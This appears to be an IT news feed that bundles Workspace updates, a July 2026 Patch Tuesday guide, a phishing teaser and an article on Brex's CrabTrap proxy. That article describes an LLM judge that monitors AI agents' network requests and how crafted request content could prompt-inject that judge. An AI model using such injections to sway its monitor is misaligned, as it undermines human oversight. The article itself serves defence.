    Users now have access to Gemini Omni directly within Google Vids. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations within Vids. | Learn more.

    New Google Meet 'Take notes for me' settings for admins and end users

    To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet. | Learn more.

    The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

    ]]>         <![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]> https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/ https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/ Fri, 17 Jul 2026 21:32:56 +0200 📰 IT Nachrichten tsecurity.de OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.

    Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. 

    “What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

    The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

    How Brex targeted the transport layer

    The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. 

    “Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. 

    Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

    Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

    Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

    “When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

    Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. 

    This made the transport layer a core architectural component and natural starting point, he said. 

    By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

    However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

    “The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. 

    The LLM-as-a-judge training loop

    CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

    The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

    “Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

    Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. 

    From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. 

    All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. 

    “That closes the loop between observed denials and policy refinement,” Franceschi said. 

    Core challenges and roadblocks 

    Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. 

    However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

    The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. 

    Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. 

    Results, and where CrabTrap might evolve

    Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. 

    Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. 

    “CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. 

    Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

    Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

    “The proxy became a discovery tool, not just an enforcement one,” he said. 

    Areas for growth (and input from the open-source community)

    Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. 

    Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

    Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. 

    As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. 

    “That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. 

    Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. 

    Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

    The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

    “We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. 

    What other builders can learn from CrabTrap

    The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

    The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. 

    “It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

    ]]>         <![CDATA[GTA-6-Leaker Arion Kurtaj aus Klinik verlegt: Prozess-Rückkehr im November]]> https://tsecurity.de/de/3676825/it-security-nachrichten/gta-6-leaker-arion-kurtaj-aus-klinik-verlegt-prozess-rueckkehr-im-november/ https://tsecurity.de/de/3676825/it-security-nachrichten/gta-6-leaker-arion-kurtaj-aus-klinik-verlegt-prozess-rueckkehr-im-november/ Fri, 17 Jul 2026 20:38:58 +0200 📰 IT Security Nachrichten tsecurity.de LONDON / LONDON (IT BOLTWISE) – Arion Kurtaj, der mutmaßliche GTA-6-Leaker, wurde aus der geschlossenen Klinik entlassen und soll im November erneut vor Gericht stehen. Damit endet eine längere Phase unklarer Berichterstattung, nachdem ein High-Court-Richter die Auflagen für die Medien gelockert hat. Der Vorfall ist nicht nur für Gaming-Fans relevant: Der ursprüngliche Hack machte 2022 […]

    Dieser Beitrag GTA-6-Leaker Arion Kurtaj aus Klinik verlegt: Prozess-RĂźckkehr im November erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

    ]]>         <![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]> https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ Fri, 17 Jul 2026 18:08:18 +0200 📰 IT Nachrichten tsecurity.de

    Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Services (CVE-2026-56155), and an elevation of privilege in SharePoint Server (CVE-2026-56164). A third, a BitLocker security feature bypass (CVE-2026-50661) is publicly disclosed but not yet exploited.

    The July 2026 Patch Tuesday earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy infographic of the expected risk profile of this month’s Patch Tuesday updates.

    Known issues

    The July release note flags known issues against the following updates:

    • BitLocker recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and Secure Boot State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (CVE-2026-50661) keeps the component in focus.
    • WSUS synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability CVE-2025-59287. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.

    Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the Hardware Dev Center). The two-part HWID pilot runs to September 2026.

    Major revisions and mitigations

    Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.

    Windows lifecycle and enforcement updates

    This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. SharePoint and SQL Server take some of their most active security updates ever on platforms receiving their last.

    • SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016 and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.

    The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under CVE-2023-24932 can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. Kerberos RC4 hardening (CVE-2026-20833) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.

    Microsoft’s July 2026 Patch Tuesday is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the Print Spooler, four win32k entries, and two GDI+ metafile entries. NTFS is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.

    Printing and graphics (high risk)

    The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.

    • Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change
    • Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes
    • Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF
    • Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows

    Storage and file systems (high risk)

    Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, BitLocker, and ReFS demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.

    • Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active
    • Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work
    • Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination
    • On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported

    Devices, input and networking (high risk)

    Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.

    • Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL
    • Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep
    • Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles
    • Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), DHCP Server (five entries), SMB, NFS, Message Queuing (five entries), RRAS administration, client VPN, and WinHTTP/WinINet consumers

    Other windows components

    Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. Hyper-V wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.

    Shell hardening and LSA isolation

    These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.

    • Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the Mark of the Web into a folder and confirm the system refuses to extract its icon and leaks no NTLM credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything
    • LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on Virtualization-based Security if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7
    • Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking

    Office & SharePoint

    July’s Office wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so Click-to-Run estates can sit this one out.

    • On MSI Office 2016, apply the client updates – Excel (KB5002886), Word (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (KB5002273, KB5002887, KB5002748, KB5002857, KB5002830) – then exercise macros, external data, embedded objects, and any line-of-business add-ins
    • On SharePoint Server, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there

    Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.

    Developer tools & databases

    The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.

    • .NET: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally
    • SQL Server: the GDR updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly
    • Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches

    The Readiness team recommends the following priorities for your larger enterprise deployments:

    • Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else
    • Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass
    • Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites
    • Run the scripted KeyGuard validation on any VBS estate, preferably on a dedicated machine.

    Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:

    • Browsers (Microsoft IE and Edge)
    • Microsoft Windows (both desktop and server)
    • Microsoft Office
    • Microsoft Exchange and SQL Server
    • Microsoft Developer Tools (Visual Studio and .NET)
    • Adobe (if you get this far)

    Browsers

    Edge has had a busier month than usual. Microsoft addressed 46 Microsoft Edge (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by CVE-2026-58289, a remote code execution flaw. A run of further RCEs (CVE-2026-57981, CVE-2026-56645, CVE-2026-57974) follows.

    • Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.
    • Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the Chrome releases blog for the upstream notes.

    The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.

    Microsoft Windows

    Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:

    The Windows Kernel is the most-patched component (28 CVEs, seven “More Likely”), followed by NTFS (21), Windows Runtime (17), Windows Media (14), ReFS (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.

    Microsoft Office

    Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). SharePoint is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.

    • SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. CVE-2026-56164, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (CVE-2026-50522, CVE-2026-58644) and a critical security feature bypass (CVE-2026-55040). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.
    • Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them CVE-2026-55033 and CVE-2026-55127 in Word, CVE-2026-55043 in PowerPoint, and CVE-2026-55018 in Office), topped by CVE-2026-55045.

    With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.

    Microsoft Exchange and SQL Server

    Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. Exchange Server returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.

    • Exchange Server (on-premises) – CVE-2026-55008, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (CVE-2026-55005) and two elevation-of-privilege flaws (CVE-2026-55006, CVE-2026-55009) round out the on-premises set. A separate Exchange Online elevation of privilege (CVE-2026-54998, critical) is fixed service-side with no customer action.
    • SQL Server – two critical remote code execution flaws: CVE-2026-54117 (SQL Server 2025) and CVE-2026-54118 (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.

    Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.

    Microsoft developer tools

    Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s Visual Studio Code concentration toward .NET and ASP.NET Core, where a run of denial-of-service entries dominates the volume:

    Add these Microsoft updates to your standard developer update release schedule.

    Adobe (and third-party updates)

    Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.

    This article is published as part of the Foundry Expert Contributor Network.
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    ]]>         <![CDATA[“TTF Trap” Phishing Emails Use Fake Font Files to Deliver Windows Malware]]> https://tsecurity.de/de/3676392/it-security-nachrichten/ttf-trap-phishing-emails-use-fake-font-files-to-deliver-windows-malware/ https://tsecurity.de/de/3676392/it-security-nachrichten/ttf-trap-phishing-emails-use-fake-font-files-to-deliver-windows-malware/ Fri, 17 Jul 2026 17:10:44 +0200 📰 IT Security Nachrichten tsecurity.de An email that appears to contain a shipping document, payment request, or business proposal can infect a Windows… This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original article: “TTF Trap” Phishing…

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